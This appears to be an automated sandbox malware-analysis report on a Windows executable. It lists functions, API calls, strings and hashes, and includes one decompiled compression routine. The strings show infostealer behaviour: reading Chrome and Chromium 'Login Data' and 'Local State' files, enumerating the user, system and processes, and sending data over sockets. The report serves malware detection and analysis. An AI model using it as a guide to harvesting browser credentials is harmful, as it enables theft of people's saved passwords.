Instruction Fuzzy Hash: BB919E72A083628FC714CF29D48051AFBE2BFD8314F498A2EE8D59B355D735E945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 004132E6, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 129COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00413325
GetVersionExA.KERNEL32(?), ref: 00413379
GetSystemInfo.KERNEL32(?,?), ref: 0041338C

Part of subcall function 0041328F: NetWkstaGetInfo.NETAPI32 ref: 004132B1
Part of subcall function 0041328F: NetApiBufferFree.NETAPI32 ref: 004132D8

GetSystemMetrics.USER32 ref: 004133FA

Strings

Ed5LC542dMZ65dlXR8W, xrefs: 00413331
wd0RdiNh.Sii, xrefs: 0041333D

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: InfoSystemVersion$BufferFreeMetricsWksta
String ID: Ed5LC542dMZ65dlXR8W$wd0RdiNh.Sii
API String ID: 1266462847-2370874720
Opcode ID: a2f5e60309e9ea63997a5f63661c2a67e865f2bf7c7b30ca2f3ef5845b7a97e1
Instruction ID: aea862b3450ebf307a16053a8a3fc20b1df094ade6bc7c343729d6a33193dea1
Opcode Fuzzy Hash: a2f5e60309e9ea63997a5f63661c2a67e865f2bf7c7b30ca2f3ef5845b7a97e1
Instruction Fuzzy Hash: D7418E7040C7419AEB21AF21C5457AFBAE0AF81759F148E2FE4C487281D37D8AC98B5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040F281, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F29B

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F2C3

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

LOCALAPPDATA, xrefs: 0040F28D, 0040F2BC
%s\Google\Chrome\User Data\Local State, xrefs: 0040F2C8
%s\Google\Chrome\User Data\Default\Login Data, xrefs: 0040F2A0

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\Google\Chrome\User Data\Default\Login Data$%s\Google\Chrome\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-1755387443
Opcode ID: c10aa0f72dc7a85467b9bbaedbd08abfe9db542f1f8a5a634dc962c54ce382e1
Instruction ID: 71a4254163051be47397212b88bd25a6cdd91ad02d264920333697808a15e276
Opcode Fuzzy Hash: c10aa0f72dc7a85467b9bbaedbd08abfe9db542f1f8a5a634dc962c54ce382e1
Instruction Fuzzy Hash: 8E0108F4408311AAC710BF62E44515EBBE0AF80398F51C83EE4D86B282C37C8599CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F382, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F39C

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F3C4

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

LOCALAPPDATA, xrefs: 0040F38E, 0040F3BD
%s\Chromium\User Data\Default\Login Data, xrefs: 0040F3A1
%s\Chromium\User Data\Local State, xrefs: 0040F3C9

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\Chromium\User Data\Default\Login Data$%s\Chromium\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-2609310803
Opcode ID: f2f52f8508035ac83624b26196ed5664984cb20092064da57255e7a3486d8653
Instruction ID: 1af54e81e90a1b2e64d1cb376851d72e513c3029c4754ec5bb28f3db25ee8883
Opcode Fuzzy Hash: f2f52f8508035ac83624b26196ed5664984cb20092064da57255e7a3486d8653
Instruction Fuzzy Hash: 8A011AB0408311AAC710BF22E44515EBFE0EF80358F51C83EE4D857282C77C8599CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 004208C0, Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 485COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00420C90
_assert.MSVCRT ref: 00420F11

Strings

n == 1, xrefs: 00420C89, 00420F0A
../nettle-3.5.1/memxor3.c, xrefs: 00420C81, 00420F02

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ../nettle-3.5.1/memxor3.c$n == 1
API String ID: 1222420520-2001704953
Opcode ID: f62c3d4576d8ad505b0a81f0fa83231c5cc89cc9aafe5267dd7225276671c9f6
Instruction ID: a3441135aa71a6079429eef520cd0e1a6c464effaa05f67e07f9da83f6d0b88a
Opcode Fuzzy Hash: f62c3d4576d8ad505b0a81f0fa83231c5cc89cc9aafe5267dd7225276671c9f6
Instruction Fuzzy Hash: 222288716083A18FC724CF29D49052ABBE1BFC9314F448A6EF9E597356D234EA05CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00405811, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

send.WS2_32 ref: 00405878
recv.WS2_32 ref: 004058B7

Strings

200 OK, xrefs: 004058C7
PTLLjPq %6:%S -qq9/G.y, xrefs: 00405828

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _vsnprintfrecvsend
String ID: 200 OK$PTLLjPq %6:%S -qq9/G.y
API String ID: 2169655391-891714383
Opcode ID: 2ec24ba702f98473ee5d9a715ab26bdcf3092223efe4a5c028eb6e3fbd3b2434
Instruction ID: 44476910b367cb1c2704fc52ca41c1ffc0a5ae24bf239666488ca44df54fa44d
Opcode Fuzzy Hash: 2ec24ba702f98473ee5d9a715ab26bdcf3092223efe4a5c028eb6e3fbd3b2434
Instruction Fuzzy Hash: 4111E2B1409301AED310AF29D58935FFBE0FF84354F51882EE4D897251D7788989DF96

Uniqueness

Uniqueness Score: -1.00%

Function 0040A115, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0040A13F

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 0040970C: GetLocalTime.KERNEL32 ref: 00409733
Part of subcall function 0040970C: CloseHandle.KERNEL32 ref: 0040979A
Part of subcall function 0040970C: MultiByteToWideChar.KERNEL32 ref: 0040982A
Part of subcall function 0040970C: CreateFileW.KERNEL32 ref: 00409865

Strings

%.2d-%.2d-%.4d, xrefs: 0040A14E
C:\Users\user\AppData\Roaming\Logs\, xrefs: 0040A1A4
%s%s, xrefs: 0040A1AC

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: LocalTime$ByteCharCloseCreateFileHandleMultiWide_vsnprintf
String ID: %.2d-%.2d-%.4d$%s%s$C:\Users\user\AppData\Roaming\Logs\
API String ID: 1146952123-3557866863
Opcode ID: 5591ed2e94f3fe8972e20bad9ffc4cb21d90fde9e93a0863d429b9defc772554
Instruction ID: 34f9120a3e00634d565d7763f47cba82c7014e7225e68866d6d8ccf2245a1495
Opcode Fuzzy Hash: 5591ed2e94f3fe8972e20bad9ffc4cb21d90fde9e93a0863d429b9defc772554
Instruction Fuzzy Hash: FC11FAB4418311ABD710EF21D58426FBBE4BF84308F418D2EF8D89B281D7BC8985DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 004130E8, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00413112
WideCharToMultiByte.KERNEL32 ref: 00413154

Strings

Unknown, xrefs: 00413162
@, xrefs: 0041312D

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiNameUserWide
String ID: @$Unknown
API String ID: 2949824840-3125819936
Opcode ID: 09c9c0a9f06fa941f3f5a46c28196dba5f2fafc07f774812d3ae38cfce7fc380
Instruction ID: 75a62b7ad59212d7e7d3757252a2119b8f15ada3fb68da9ed8f134ad780259a0
Opcode Fuzzy Hash: 09c9c0a9f06fa941f3f5a46c28196dba5f2fafc07f774812d3ae38cfce7fc380
Instruction Fuzzy Hash: 830108B0409341AED320AF26D94479BFBE4BBD4714F008A1EE49847290D37985498B97

Uniqueness

Uniqueness Score: -1.00%

Function 00402570, Relevance: 6.1, APIs: 4, Instructions: 54processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 004025BF
Process32First.KERNEL32 ref: 004025DF
Process32Next.KERNEL32 ref: 00402614
CloseHandle.KERNEL32 ref: 0040261E

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 8705725f05fe9afeeedec4a0c2d3b20b049fa06699c5a5ff1e195fb4d0e9f0db
Instruction ID: dbb4d6dc22455ac6b6b4c8bb6317d27c69ec59bbf57194761826882fdadde184
Opcode Fuzzy Hash: 8705725f05fe9afeeedec4a0c2d3b20b049fa06699c5a5ff1e195fb4d0e9f0db
Instruction Fuzzy Hash: EB1119B0409701AAD710AF15CA856AFFBE8EF80718F008D2FF4C893252D3B99485CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00415079, Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 432
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00415079(void* __eax) {
				int _t306;
				intOrPtr _t307;
				void* _t310;
				int _t312;
				signed int _t314;
				char _t325;
				signed int _t326;
				signed int _t328;
				signed char _t332;
				signed char _t333;
				signed char _t334;
				signed char _t335;
				signed int _t336;
				void* _t339;
				void* _t346;
				signed int _t347;
				void* _t348;
				int _t351;
				char* _t357;
				signed char _t359;
				signed char _t361;
				signed int _t362;
				signed char _t363;
				signed int _t364;
				signed char _t365;
				signed int _t366;
				signed char _t368;
				signed int _t369;
				signed char _t373;
				signed char _t375;
				signed char _t376;
				signed int* _t380;
				void* _t385;
				void* _t386;
				void* _t387;
				signed char _t394;
				signed int _t399;
				signed int _t403;
				signed char _t404;
				signed int _t413;
				signed int _t414;
				signed int _t419;
				intOrPtr _t421;
				signed int _t430;
				signed char _t432;
				signed int _t438;
				void* _t439;
				signed int _t440;
				void* _t442;
				int _t443;
				void* _t444;
				signed int _t446;
				signed int _t447;
				void* _t449;
				intOrPtr* _t450;
				void* _t451;
				char** _t453;

				_t348 = __eax;
				_t450 = _t449 - 0x2bc;
				 *((short*)(__eax + 0x8392)) = 1;
				 *(_t450 + 4) = 0;
				 *_t450 = 0xf;
				E00414976(__eax, 0x120, 0, 0);
				 *(_t450 + 4) = 0;
				 *_t450 = 0xf;
				E00414976(_t348, 0x20, 1, 0);
				_t306 = 0x11e;
				while(1) {
					_t6 = _t306 - 1; // 0x11d
					_t443 = _t6;
					 *(_t450 + 0x20) = _t443;
					if( *((char*)(_t348 + _t306 + 0x8f11)) != 0) {
						break;
					}
					_t306 = _t443;
					if(_t443 != 0x101) {
						continue;
					} else {
					}
					L5:
					_t307 = 0x1e;
					while(1) {
						_t9 = _t307 - 1; // 0x1d
						_t421 = _t9;
						 *((intOrPtr*)(_t450 + 0x24)) = _t421;
						if( *((char*)(_t348 + _t421 + 0x9032)) != 0) {
							break;
						}
						_t307 =  *((intOrPtr*)(_t450 + 0x24));
						if(_t307 != 1) {
							continue;
						} else {
						}
						L10:
						_t444 = _t348 + 0x8f12;
						_t351 =  *(_t450 + 0x20);
						 *((char*)(_t450 + 0x1f)) = 0xff;
						 *(_t450 + 0x14) = 0;
						_t310 = memcpy(_t450 + 0x30, _t444, _t351);
						_t451 = _t450 + 0xc;
						 *(_t451 + 0x2c) = _t310;
						 *(_t451 + 0x28) = 0;
						_t312 = memcpy(_t444 + _t351 + _t351, _t348 + 0x9032,  *(_t451 + 0x24));
						_t446 = 0;
						memset(_t348 + 0x8612, _t312, 0x26 << 0);
						_t453 = _t451 + 0x18;
						_t314 = 0;
						do {
							_t357 =  *((intOrPtr*)(_t453 +  &(_t453[0xa][0x30])));
							_t453[6] = _t357;
							if(_t357 != 0) {
								__eflags = _t314;
								if(_t314 != 0) {
									__eflags = _t314 - 2;
									if(_t314 > 2) {
										__eflags = _t314 - 0xa;
										_t68 = _t446 + 1; // 0x1
										_t439 = _t68;
										_t69 = _t446 + 2; // 0x2
										_t447 = _t69;
										if(_t314 > 0xa) {
											 *((short*)(_t348 + 0x8636)) =  *((short*)(_t348 + 0x8636)) + 1;
											 *((char*)(_t453 + _t446 + 0x170)) = 0x12;
											_t347 = _t314 - 0xb;
											__eflags = _t347;
											_t446 = _t447;
										} else {
											 *((char*)(_t453 + _t446 + 0x170)) = 0x11;
											 *((short*)(_t348 + 0x8634)) =  *((short*)(_t348 + 0x8634)) + 1;
											_t446 = _t447;
											_t347 = _t314 - 3;
										}
										 *(_t453 + _t439 + 0x170) = _t347;
									} else {
										 *(_t348 + 0x8612) =  *(_t348 + 0x8612) + _t314;
										_t440 = 0;
										__eflags = 0;
										_t447 =  &(_t453[0x5c]) + _t446;
										do {
											 *((char*)(_t447 + _t440)) = 0;
											_t440 = _t440 + 1;
											__eflags = _t440 - _t314;
										} while (_t440 != _t314);
										_t446 = _t446 + _t440;
									}
								}
								_t394 = _t453[7];
								__eflags = _t453[6] - _t394;
								if(_t453[6] == _t394) {
									_t453[5] =  &(_t453[5][1]);
									_t314 = 0;
									__eflags = _t453[5] - 6;
									if(__eflags == 0) {
										 *((short*)(_t348 + 0x8632)) =  *((short*)(_t348 + 0x8632)) + 1;
										_t118 = _t446 + 1; // 0x1
										 *((char*)(_t453 + _t446 + 0x170)) = 0x10;
										_t446 = _t446 + 2;
										__eflags = _t446;
										 *((char*)(_t453 + _t118 + 0x170)) = 3;
										goto L39;
									}
								} else {
									__eflags = _t453[5];
									if(__eflags != 0) {
										__eflags = _t453[5] - 2;
										if(_t453[5] > 2) {
											 *((short*)(_t348 + 0x8632)) =  *((short*)(_t348 + 0x8632)) + 1;
											_t98 = _t446 + 1; // 0x1
											 *((char*)(_t453 + _t446 + 0x170)) = 0x10;
											_t446 = _t446 + 2;
											_t419 = _t453[5] - 3;
											__eflags = _t419;
											 *(_t453 + _t98 + 0x170) = _t419;
										} else {
											 *((intOrPtr*)(_t348 + 0x8612 + (_t394 & 0x000000ff) * 2)) =  *((intOrPtr*)(_t348 + 0x8612 + (_t394 & 0x000000ff) * 2)) + _t453[5];
											_t346 = 0;
											_t438 =  &(_t453[0x5c]) + _t446;
											__eflags = _t438;
											do {
												 *((char*)(_t438 + _t346)) = _t453[7];
												_t346 = _t346 + 1;
												__eflags = _t346 - _t453[5];
											} while (__eflags != 0);
											_t446 = _t446 + _t346;
										}
									}
									 *((short*)(_t348 + 0x8612 + (_t453[6] & 0x000000ff) * 2)) =  *((short*)(_t348 + 0x8612 + (_t453[6] & 0x000000ff) * 2)) + 1;
									 *((char*)(_t453 + _t446 + 0x170)) = _t453[6];
									_t446 = _t446 + 1;
									L39:
									_t453[5] = 0;
									goto L40;
								}
							} else {
								if(_t453[5] != 0) {
									if(_t453[5] > 2) {
										 *((short*)(_t348 + 0x8632)) =  *((short*)(_t348 + 0x8632)) + 1;
										_t50 = _t446 + 1; // 0x1
										 *((char*)(_t453 + _t446 + 0x170)) = 0x10;
										_t446 = _t446 + 2;
										_t399 = _t453[5] - 3;
										__eflags = _t399;
										 *(_t453 + _t50 + 0x170) = _t399;
									} else {
										_t447 =  &(_t453[0x5c]) + _t446;
										 *((intOrPtr*)(_t348 + 0x8612 + (_t453[7] & 0x000000ff) * 2)) =  *((intOrPtr*)(_t348 + 0x8612 + (_t453[7] & 0x000000ff) * 2)) + _t453[5];
										_t442 = 0;
										do {
											 *((char*)(_t447 + _t442)) = _t453[7];
											_t442 = _t442 + 1;
										} while (_t442 != _t453[5]);
										_t446 = _t446 + _t442;
									}
								}
								_t314 = _t314 + 1;
								_t453[5] = 0;
								if(_t314 == 0x8a) {
									_t56 = _t446 + 1; // -1
									 *((char*)(_t453 + _t446 + 0x170)) = 0x12;
									 *((short*)(_t348 + 0x8636)) =  *((short*)(_t348 + 0x8636)) + 1;
									_t446 = _t446 + 2;
									 *((char*)(_t453 + _t56 + 0x170)) = 0x7f;
									L40:
									_t314 = 0;
								}
							}
							_t453[0xa] =  &(_t453[0xa][1]);
							_t453[7] = _t453[6];
						} while (_t453[0xb] > _t453[0xa]);
						if(_t453[5] == 0) {
							__eflags = _t314;
							if(__eflags != 0) {
								__eflags = _t314 - 2;
								if(_t314 > 2) {
									__eflags = _t314 - 0xa;
									_t159 = _t446 + 1; // 0x1
									_t385 = _t159;
									_t160 = _t446 + 2; // 0x2
									_t413 = _t160;
									if(__eflags > 0) {
										 *((short*)(_t348 + 0x8636)) =  *((short*)(_t348 + 0x8636)) + 1;
										 *((char*)(_t453 + _t446 + 0x170)) = 0x12;
										_t336 = _t314 - 0xb;
										__eflags = _t336;
										_t446 = _t413;
									} else {
										 *((char*)(_t453 + _t446 + 0x170)) = 0x11;
										 *((short*)(_t348 + 0x8634)) =  *((short*)(_t348 + 0x8634)) + 1;
										_t446 = _t413;
										_t336 = _t314 - 3;
									}
									 *(_t453 + _t385 + 0x170) = _t336;
								} else {
									 *(_t348 + 0x8612) =  *(_t348 + 0x8612) + _t314;
									_t386 = _t453 + _t446 + 0x170;
									_t414 = 0;
									__eflags = 0;
									do {
										 *((char*)(_t386 + _t414)) = 0;
										_t414 = _t414 + 1;
										__eflags = _t414 - _t314;
									} while (__eflags != 0);
									_t446 = _t446 + _t414;
								}
							}
						} else {
							if(_t453[5] > 2) {
								_t147 = _t446 + 1; // 0x1
								 *((char*)(_t453 + _t446 + 0x170)) = 0x10;
								 *((short*)(_t348 + 0x8632)) =  *((short*)(_t348 + 0x8632)) + 1;
								_t446 = _t446 + 2;
								 *((char*)(_t453 + _t147 + 0x170)) = _t453[5] - 3;
							} else {
								_t387 = _t453 + _t446 + 0x170;
								 *((intOrPtr*)(_t348 + 0x8612 + (_t453[6] & 0x000000ff) * 2)) =  *((intOrPtr*)(_t348 + 0x8612 + (_t453[6] & 0x000000ff) * 2)) + _t453[5];
								_t339 = 0;
								do {
									 *((char*)(_t387 + _t339)) = _t453[6];
									_t339 = _t339 + 1;
									_t472 = _t453[5] - _t339;
								} while (_t453[5] != _t339);
								_t446 =  &(_t453[5][_t446]);
							}
						}
						_t453[1] = 0;
						 *_t453 = 7;
						E00414976(_t348, 0x13, 2, _t472);
						_t359 =  *(_t348 + 0x44);
						 *(_t348 + 0x48) =  *(_t348 + 0x48) | 0x00000002 << _t359;
						 *(_t348 + 0x44) = _t359 + 2;
						while(1) {
							_t361 =  *(_t348 + 0x44);
							if(_t361 <= 7) {
								break;
							}
							_t335 =  *(_t348 + 0x30);
							if(_t335 <  *((intOrPtr*)(_t348 + 0x34))) {
								 *(_t348 + 0x30) = _t335 + 1;
								 *_t335 =  *(_t348 + 0x48);
							}
							 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
							 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
						}
						 *(_t348 + 0x48) =  *(_t348 + 0x48) | _t453[8] - 0x00000101 << _t361;
						_t362 = _t361 + 5;
						__eflags = _t362;
						 *(_t348 + 0x44) = _t362;
						while(1) {
							_t363 =  *(_t348 + 0x44);
							__eflags = _t363 - 7;
							if(_t363 <= 7) {
								break;
							}
							_t334 =  *(_t348 + 0x30);
							__eflags = _t334 -  *((intOrPtr*)(_t348 + 0x34));
							if(_t334 <  *((intOrPtr*)(_t348 + 0x34))) {
								 *(_t348 + 0x30) = _t334 + 1;
								 *_t334 =  *(_t348 + 0x48);
							}
							 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
							 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
						}
						 *(_t348 + 0x48) =  *(_t348 + 0x48) | _t453[9] - 0x00000001 << _t363;
						_t364 = _t363 + 5;
						__eflags = _t364;
						 *(_t348 + 0x44) = _t364;
						while(1) {
							_t365 =  *(_t348 + 0x44);
							__eflags = _t365 - 7;
							if(_t365 <= 7) {
								break;
							}
							_t333 =  *(_t348 + 0x30);
							__eflags = _t333 -  *((intOrPtr*)(_t348 + 0x34));
							if(_t333 <  *((intOrPtr*)(_t348 + 0x34))) {
								 *(_t348 + 0x30) = _t333 + 1;
								 *_t333 =  *(_t348 + 0x48);
							}
							 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
							 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
						}
						_t325 = 0x12;
						while(1) {
							_t214 = _t325 + 0x424c9c; // 0x101000f
							_t403 =  *_t214 & 0x000000ff;
							__eflags =  *((char*)(_t348 + _t403 + 0x9152));
							if( *((char*)(_t348 + _t403 + 0x9152)) != 0) {
								break;
							}
							_t325 = _t325 - 1;
							__eflags = _t325 - 0xffffffff;
							if(_t325 != 0xffffffff) {
								continue;
							} else {
								_t404 = 4;
								L76:
								_t217 = _t404 - 4; // 0x0
								_t326 = _t217;
							}
							L77:
							 *(_t348 + 0x48) =  *(_t348 + 0x48) | _t326 << _t365;
							_t366 = _t365 + 4;
							__eflags = _t366;
							 *(_t348 + 0x44) = _t366;
							while(1) {
								__eflags =  *(_t348 + 0x44) - 7;
								if( *(_t348 + 0x44) <= 7) {
									break;
								}
								_t332 =  *(_t348 + 0x30);
								__eflags = _t332 -  *((intOrPtr*)(_t348 + 0x34));
								if(_t332 <  *((intOrPtr*)(_t348 + 0x34))) {
									 *(_t348 + 0x30) = _t332 + 1;
									 *_t332 =  *(_t348 + 0x48);
								}
								 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
								 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
							}
							_t328 = 0;
							__eflags = 0;
							while(1) {
								_t231 = _t328 + 0x424c9c; // 0x121110
								_t430 =  *(_t348 + ( *_t231 & 0x000000ff) + 0x9152) & 0x000000ff;
								__eflags = _t430 - 7;
								if(_t430 > 7) {
									break;
								}
								_t368 =  *(_t348 + 0x44);
								 *(_t348 + 0x48) =  *(_t348 + 0x48) | _t430 << _t368;
								_t369 = _t368 + 3;
								__eflags = _t369;
								 *(_t348 + 0x44) = _t369;
								while(1) {
									__eflags =  *(_t348 + 0x44) - 7;
									if( *(_t348 + 0x44) <= 7) {
										break;
									}
									_t432 =  *(_t348 + 0x30);
									__eflags = _t432 -  *((intOrPtr*)(_t348 + 0x34));
									if(_t432 <  *((intOrPtr*)(_t348 + 0x34))) {
										 *(_t348 + 0x30) = _t432 + 1;
										 *_t432 =  *(_t348 + 0x48);
									}
									 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
									 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
								}
								_t328 = _t328 + 1;
								__eflags = _t328 - _t404;
								if(_t328 != _t404) {
									continue;
								} else {
									_t453[5] = 0;
									while(1) {
										L98:
										__eflags = _t446 - _t453[5];
										if(_t446 <= _t453[5]) {
											break;
										}
										_t328 = _t453[5];
										_t265 = _t328 + 1; // 0x1
										_t447 = _t265;
										_t404 =  *(_t453 + _t447 + 0x16f) & 0x000000ff;
										__eflags = _t404 - 0x12;
										if(_t404 <= 0x12) {
											_t432 =  *(_t348 + 0x8cd2 + _t404 * 2) & 0x0000ffff;
											_t453[6] =  *(_t348 + _t404 + 0x9152) & 0x000000ff;
											_t328 = 1 << _t453[6];
											__eflags = _t432;
											if(_t432 <= 0) {
												_t373 =  *(_t348 + 0x44);
												_t272 = _t348 + 0x48;
												 *_t272 =  *(_t348 + 0x48) | _t432 << _t373;
												__eflags =  *_t272;
												 *(_t348 + 0x44) = _t373 + _t453[6];
												while(1) {
													_t432 =  *(_t348 + 0x44);
													__eflags = _t432 - 7;
													if(_t432 <= 7) {
														break;
													}
													_t380 =  *(_t348 + 0x30);
													__eflags = _t380 -  *((intOrPtr*)(_t348 + 0x34));
													if(_t380 <  *((intOrPtr*)(_t348 + 0x34))) {
														_t328 =  *(_t348 + 0x48);
														 *(_t348 + 0x30) =  &(_t380[0]);
														 *_t380 = _t328;
													}
													 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
													 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
												}
												__eflags = _t404 - 0xf;
												if(_t404 <= 0xf) {
													_t453[5] = _t447;
													continue;
												} else {
													_t404 =  *((char*)(_t404 + "_HUFF_SYMBOLS_2"));
													_t447 =  *(_t453 + _t447 + 0x170) & 0x000000ff;
													_t453[5] = _t453[5] + 2;
													_t328 = 1 << _t404;
													__eflags = _t447;
													if(_t447 <= 0) {
														goto L96;
													} else {
														_t453[2] = 0xb7c;
														goto L94;
													}
												}
												goto L116;
											} else {
												_t453[2] = 0xb79;
												L94:
												_t453[1] = 0x424620;
												 *_t453 = "bits <= ((1U << len) - 1U)";
												goto L95;
											}
										} else {
											_t453[2] = 0xb78;
											_t453[1] = 0x424620;
											 *_t453 = "code < TDEFL_MAX_HUFF_SYMBOLS_2";
											L95:
											L0041F7E4();
											L96:
											_t375 = _t432;
											_t432 = _t432 + _t404;
											_t259 = _t348 + 0x48;
											 *_t259 =  *(_t348 + 0x48) | _t447 << _t375;
											__eflags =  *_t259;
											 *(_t348 + 0x44) = _t432;
											while(1) {
												__eflags =  *(_t348 + 0x44) - 7;
												if( *(_t348 + 0x44) <= 7) {
													goto L98;
												}
												_t376 =  *(_t348 + 0x30);
												__eflags = _t376 -  *((intOrPtr*)(_t348 + 0x34));
												if(_t376 <  *((intOrPtr*)(_t348 + 0x34))) {
													 *(_t348 + 0x30) = _t376 + 1;
													 *_t376 =  *(_t348 + 0x48);
												}
												 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
												 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
											}
										}
										L116:
									}
									return _t328;
									goto L116;
								}
								goto L98;
							}
							_t453[2] = 0xb73;
							goto L94;
						}
						__eflags = _t325 - 2;
						_t301 = _t325 + 1; // 0x13
						_t404 = _t301;
						if(_t325 > 2) {
							goto L76;
						} else {
							_t326 = 0;
							_t404 = 4;
							goto L77;
						}
						goto L116;
					}
					 *((intOrPtr*)(_t450 + 0x24)) = _t307;
					goto L10;
				}
				 *(_t450 + 0x20) = _t306;
				goto L5;
			}

0x00415084
0x00415086
0x0041508c
0x00415095
0x0041509d
0x004150a4
0x004150ab
0x004150b3
0x004150c4
0x004150c9
0x004150ce
0x004150d6
0x004150d6
0x004150d9
0x004150dd
0x00000000
0x00000000
0x004150e5
0x004150e7
0x00000000
0x00000000
0x004150e9
0x004150ef
0x004150ef
0x004150f4
0x004150f4
0x004150f4
0x004150ff
0x00415103
0x00000000
0x00000000
0x00415105
0x0041510c
0x00000000
0x00000000
0x0041510e
0x00415114
0x00415120
0x00415126
0x0041512a
0x00415137
0x0041513f
0x0041513f
0x00415141
0x00415151
0x00415159
0x00415162
0x00415164
0x00415164
0x00415166
0x00415168
0x0041516c
0x00415172
0x00415176
0x00415213
0x00415215
0x00415217
0x0041521a
0x0041523d
0x00415240
0x00415240
0x00415243
0x00415243
0x00415246
0x0041525e
0x00415265
0x0041526d
0x0041526d
0x00415270
0x00415248
0x00415248
0x00415250
0x00415257
0x00415259
0x00415259
0x00415272
0x0041521c
0x00415223
0x0041522a
0x0041522a
0x0041522c
0x0041522f
0x0041522f
0x00415234
0x00415235
0x00415235
0x00415239
0x00415239
0x0041521a
0x00415279
0x0041527d
0x00415281
0x004152fb
0x004152ff
0x00415301
0x00415306
0x00415308
0x0041530f
0x00415312
0x0041531a
0x0041531a
0x0041531d
0x00000000
0x0041531d
0x00415283
0x00415283
0x00415288
0x0041528a
0x0041528f
